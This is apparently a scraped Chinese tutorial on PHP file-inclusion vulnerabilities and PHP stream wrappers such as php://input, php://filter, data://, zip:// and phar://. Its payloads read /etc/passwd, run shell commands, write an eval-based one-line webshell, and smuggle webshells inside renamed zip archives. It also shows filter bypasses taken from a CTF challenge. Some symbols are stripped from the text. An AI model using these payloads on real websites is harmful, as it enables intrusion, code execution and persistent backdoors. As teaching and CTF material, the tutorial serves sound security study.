网站怎么做语言切换,高端网站建设公司新鸿儒,引流推广平台违法吗,太原网站建设口碑推荐PHP伪协议与文件包含PHP伪协议与文件包含php:// 协议php://inputphp://filterdata:// 协议file:// 协议zip://、bzip2://、zlib://协议zip://协议bzip2://协议zlib://协议phar://伪协议文件包含漏洞(File Inclusion)文件包含漏洞#xff1a;即file inclusion#xff0c;意思是… PHP伪协议与文件包含PHP伪协议与文件包含php:// 协议php://inputphp://filterdata:// 协议file:// 协议zip://、bzip2://、zlib://协议zip://协议bzip2://协议zlib://协议phar://伪协议文件包含漏洞(File Inclusion)文件包含漏洞即file inclusion意思是文件包含是指当服务器开启allow_url_include选项时就可以通过PHP的某些文件包含函数利用URL去动态包含文件此时如果没有对文件来源进行严格审查就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项选项开启之后服务器允许包含一个远程文件服务器通过PHP特性函数去包含任意文件时由于要包含的这个文件来源过滤不严从而可以去包含一个恶意文件而我们可以构造这个恶意文件来达到自己的目的。文件包含漏洞特征?pagea.php?homeb.html?filecontent检测方法?file../../../../etc/passwd?pagefile:///etc/passwd?homemain.cgi?pagehttp://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txt关于文件包含漏洞的具体详情我们不再赘述下面我们来总结一下PHP伪协议在文件包含中的利用。PHP伪协议与文件包含PHP 带有很多内置 URL 风格的封装协议可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。首先归纳下常见的文件包含函数include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file计划对文件包含漏洞与php封装协议的利用方法进行总结本篇先总结下一些封装协议涉及的相关协议php://filter、php://input、file://、data://、zip://、compress.bzip2://、compress.zlib://后续再对每个文件包含函数进一步进行探讨。环境概要PHP.iniallow_url_fopenon 默认开启 该选项用于设置是否允许将URL作为文件处理。该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。allow_url_includeoff 默认关闭该选项为on便是允许 包含 URL 对象文件等。为了能够尽可能的列举所有情况本次测试使用的PHP版本为5.2 具体为5.25.35.57.0PHP版本5.2 可以使用%00进行截断。php:// 协议 利用条件allow_url_fopen不需要开启allow_url_include仅php://input php://stdin php://memory php://temp需要开启作用php:// 访问各个输入/输出流(I/O streams)在CTF中经常使用的是php://filter和php://inputphp://filter用于读取php文件的源码php://input用于执行php代码。php://filter 读取源代码并进行base64编码输出不然会直接当做php代码执行就看不到源代码内容了php://filter在双off的情况下也可以正常使用。php://inputphp://input 可以访问请求的原始数据的只读流在POST请求中访问POST的data部分可以将post请求中的数据作为PHP代码执行。注意在enctypemultipart/form-data 的时候php://input是无效的。要求PHP.iniallow_url_fopen: off或on // 无要求allow_url_include: on用法?filephp://input 数据利用POST直接传过去。如下测试。测试代码?php echo file_get_contents($_GET[whoami]);?测试结果image-20200815163356474成功输出了我们POST过去的data数据。php://input 执行php代码与写入木马测试代码?php $filename $_GET[file];include($filename);?我们构造如下http://192.168.1.103/test.php?filephp://input[POST DATA部分]:?php phpinfo(); ?如下成功执行image-20200815163848057命令执行我们构造如下http://192.168.1.103/test.php?filephp://input[POST DATA部分]:?php system(ls /); ?image-20200815213804709若有写入权限可以写入一句话木马http://192.168.1.103/test.php?filephp://input[POST DATA部分]:?php fputs(fopen(shell.php,w),?php eval($_POST[whoami]);?);?image-20200815164024699蚁剑连接成功image-20200815164139935php://filterphp://filter是一种元封装器是PHP中特有的协议流设计用于数据流打开时的筛选过滤应用作用是作为一个“中间流”来处理其他流。php://filter常用于读取php文件的源码php://input用于执行php代码。php://filter 读取源代码并进行base64编码输出不然会直接当做php代码执行就看不到源代码内容了php://filter在allow_url_fopen和allow_url_include双off的情况下也可以正常使用。要求PHP.iniallow_url_fopen: off或on // 无要求allow_url_include: off或on // 无要求php://filter参数详解该协议的参数会在该协议路径上进行传递多个参数都可以在一个路径上传递。具体参考如下php://filter 参数描述resource必须项。它指定了你要筛选过滤的数据流。read可选项。可以设定一个或多个过滤器名称以管道符(|)分隔write可选项。可以设定一个或多个过滤器名称以管道符(|)分隔任何没有以 read 或 write 作前缀的筛选器列表会视情况应用于读或写链。可用的过滤器列表此处列举主要的过滤器类型详细内容请参考https://www.php.net/manual/zh/filters.php字符串过滤器作用string.rot13等同于str_rot13()rot13变换string.toupper等同于strtoupper()转大写字母string.tolower等同于strtolower()转小写字母string.strip_tags等同于strip_tags()去除html、PHP语言标签转换过滤器作用convert.base64convert.base64-encode convert.base64-decode分别等同于base64_encode()和base64_decode()base64编码解码convert.quotedquoted-printable 字符串与 8 为字符串编码解码有convert.quoted-printable-encode 和 convert.quoted-printable-decode。使用此过滤器的 decode 版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。convert.iconv.*这个过滤器需要 php 支持 iconv而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。下面我们来实验用php://filter来读写文件。测试代码?php $file1 $_GET[file1]; $file2 $_GET[file2]; $txt $_GET[txt]; // 写入的内容echo file_get_contents($file1); // 或者是include($file1); file_put_contents($file2,$txt);?读取文件test.php?file1php://filter/resource/etc/passwdtest.php?file1php://filter/readconvert.base64-encode/resourceflag.php // 专用于读取php文件测试结果image-20200815170005879读取php文件image-20200815170201017base64解码即可。在实战中若是遇上include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file等文件包含函数我们可以用php://filter来读取php源码。写入文件test.php?file2php://filter/resourcetest1.txttxtThanks Bunny!或test.php?file2php://filter/writeconvert.base64-encode/resourcetest2.txttxtThanks Bunny!分别执行后查看生成的txt文件image-20200815171035715如上图写入成功。php://filter 绕过 convert.base64convert.base64过滤器convert.base64-encode convert.base64-decode分别等同于base64_encode()和base64_decode()base64编码解码。最常见的不再赘述。如果base64被过滤了那我们就可以用下面的那几个convert转换过滤器。convert.quoted过滤器这个过滤器用于 quoted-printable 字符串与 8 为字符串的编码解码。有convert.quoted-printable-encode 和 convert.quoted-printable-decode 这两个。使用此过滤器的 decode 版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。quoted_printable_decode() 函数对经过 quoted-printable 编码后的字符串进行解码返回 8 位的 ASCII 字符串?php $str I0Alove0AShanghai!;echo quoted_printable_decode($str);?// 输出I love Shanghai!网上用于quoted-printable 编码解码的网址有http://www.mxcz.net/tools/quotedprintable.aspxhttp://web.chacuo.net/charsetquotedprintable测试代码?php include($_GET[file]);?我们用flag.php来做实验image-20200815171619018payloadtest.php?filephp://filter/readconvert.quoted-printable-encode/resourceflag.php image-20200815173356834convert.iconv.*过滤器这个过滤器需要 php 支持 iconv而 iconv 是默认编译的。*使用convert.iconv.过滤器等同于用iconv()函数处理所有的流数据。convert.iconv.*的使用有两种方法convert.iconv.. 或者convert.iconv./PHP iconv()函数(PHP 4 4.0.5, PHP 5, PHP 7)iconv() — 将字符串按要求的字符编码来转换。说明iconv ( string $in_charset , string $out_charset , string $str ) : string将字符串 str 从 in_charset 转换编码到 out_charset返回转换后的字符串。蓝帽杯有一道题文件包含用php://filter读源码但是base64和read都被过滤了所以我们可以使用convert.iconv。我们将convert.base64-encode改为convert.iconv.utf-8.utf-7即filenamephp://filter/convert.iconv.utf-8.utf-7/resourceflag.php。测试代码?php include($_GET[file]);?payloadtest.php?filephp://filter/readconvert.iconv.utf-8.utf-7/resourceflag.php// 也就是将utf-8编码转换为utf-7编码image-20200815174729969如上图成功得到flag其稍作修改即可。当然我们也可以用字符串过滤器如下。string.rot13(移位编码)(自 PHP 4.3.0 起)使用此过滤器等同于用 str_rot13()函数处理所有的流数据。string.rot13对字符串执行 ROT13 转换ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母同时忽略非字母表中的字符。编码和解码都使用相同的函数即传递一个编码过的字符串作为参数将得到原始字符串。测试代码?php include($_GET[file]);?payloadtest.php?filephp://filter/readstring.rot13/resourceflag.php// 也就是将utf-8编码转换为utf-7编码image-20200815180506105在网上将其rot13解码即可解码地址https://www.jisuan.mobi/puzzm6z1B1HH6yXW.htmldata:// 协议 数据流封装器和php://相似都是利用了流的概念将原本的要include的文件流重定向到了用户可控制的输入流中简单来说就是执行文件的包含方法包含了你的输入流通过你输入payload来实现目的。经过测试官方文档上存在一处问题经过测试PHP版本5.25.35.57.0data:// 协议是受限于allow_url_fopen的官方文档上给出的是NO所以要使用data://协议需要满足双on条件要求PHP.iniallow_url_fopen: onallow_url_include: on用法和php伪协议的php://input类似碰到file_get_contents()可以用 ?php // 打印 “输出 echo file_get_contents($_GET[file]); ?payloadtest.php?filedata://text/plain;base64,VGhhbmtzJTIwQnVubnklMjEimage-20200815202309580如果遇上include文件包含还可以造成任意代码执行测试代码?php include($_GET[file]);?payloadtest.php?filedata://text/plain,?php phpinfo();?或test.php?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4image-20200815202637601image-20200815203509516也可以像一下这种形式test.php?filedata:text/plain,?php phpinfo()?test.php?filedata:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4test.php?filedata:,?php phpinfo()?都是可以的image-20200815203746759有权限的话还可以写shell。data这里还有这样一个好玩的这是2020蓝帽杯的一个题有以下一个限制image-20200807184117327让我们用GET传一个参数指向一个文件如果开文件的内容中不存在和php那么就包含该文件。我们的利用思路当然是让他包含一个php文件。我们用以下方法绕过即file_get_contents(data:,xx/res); // 将返回字符串xx/res include(data:,xx/res); // 将包含res文件的内容证明测试如下在Web根目录下有一个test.php还有一个名为data:,xx的目录里面有一个res文件res文件的内容为 phpinfo();?image-20200808164538288访问test.php代码如下image-20200808164559941此时如果我们输入/test.php?pagedata:,xx/resimage-20200808164713218如上图将返回字符串xx/res。接下来我们把include前的注释去掉再测试一遍image-20200808165107017效果可见一斑。利用以上原理就可以绕过这个限制了。也就是说如果data是这种形式data:,xx/res且不存在data:,xx目录的话include和file_get_contents都返回字符串xx/res如果存在data:,xx目录的话那么include将包含data:,xx目录里的res文件造成php代码执行而file_get_contents则任然只会返回字符串xx/res。file:// 协议 通过file协议可以访问本地文件系统读取到文件的内容,测试代码?php include($_GET[file]);?payloadtest.php?filefile:///etc/passwdimage-20200815205507910但是不能用来读取php文件的源码且单纯的file://伪协议不配合文件包含漏洞是不能执行文件里的php代码的。zip://、bzip2://、zlib://协议 zip://, bzip2://, zlib:// 均属于压缩流可以访问压缩文件中的子文件更重要的是不需要指定后缀名可修改为任意后缀jpg png gif xxx 等等。要求php.iniallow_url_fopen: off/on // 无要求allow_url_include: off/on // 无要求zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用。zip://协议条件PHP 5.3.0注意在windows下测试要5.3.0使用方法zip://archive.zip#dir/file.txtzip://[压缩文件绝对路径]#[压缩文件内的子文件名]# 在浏览器中要编码为%23否则浏览器默认不会传输特殊字符。测试代码?php include($_GET[file]);?即先在本地将要执行的PHP代码写好文件名为shell.php再将shell.txt进行zip压缩压缩文件名为whoami.zipimage-20200815210650620如果可以上传zip文件便直接上传若不能便将whoami.zip重命名为whoami.jpg后再上传其他几种压缩格式也可以这样操作。然后就用zip://协议访问我们上传的whoami.zip(或whoami.jpg)里面的shell.php(适用于有文件上传和文件包含的地方)payloadtest.php?filezip:///var/www/html/whoami.zip%23shell.txtimage-20200815212307187bzip2://协议使用方法compress.bzip2://file.bz2压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)test.php?filecompress.bzip2://目录/phpinfo.bz2即可执行phpinfo。zlib://协议使用方法compress.zlib://file.gz压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)test.php?filecompress.zlib://目录/phpinfo.bz2即可执行phpinfo。phar://伪协议 phar://协议与zip://类似同样可以访问zip格式压缩包内容不管后缀是什么都会当做压缩包来解压。用法?filephar://压缩包/内部文件 注意PHP 5.3.0 压缩包需要是zip协议压缩rar不行将木马文件压缩后改为其他任意格式的文件都可以正常使用。测试代码?php include($_GET[file]);?步骤写一个木马文件shell.txt然后用zip协议压缩为whoami.zip然后将后缀改为png等其他格式上传然后再用phar伪协议来访问 (和zip://用法类似的)test.php?filephar:///var/www/html/whoami.png/shell.txtimage-20200815213458198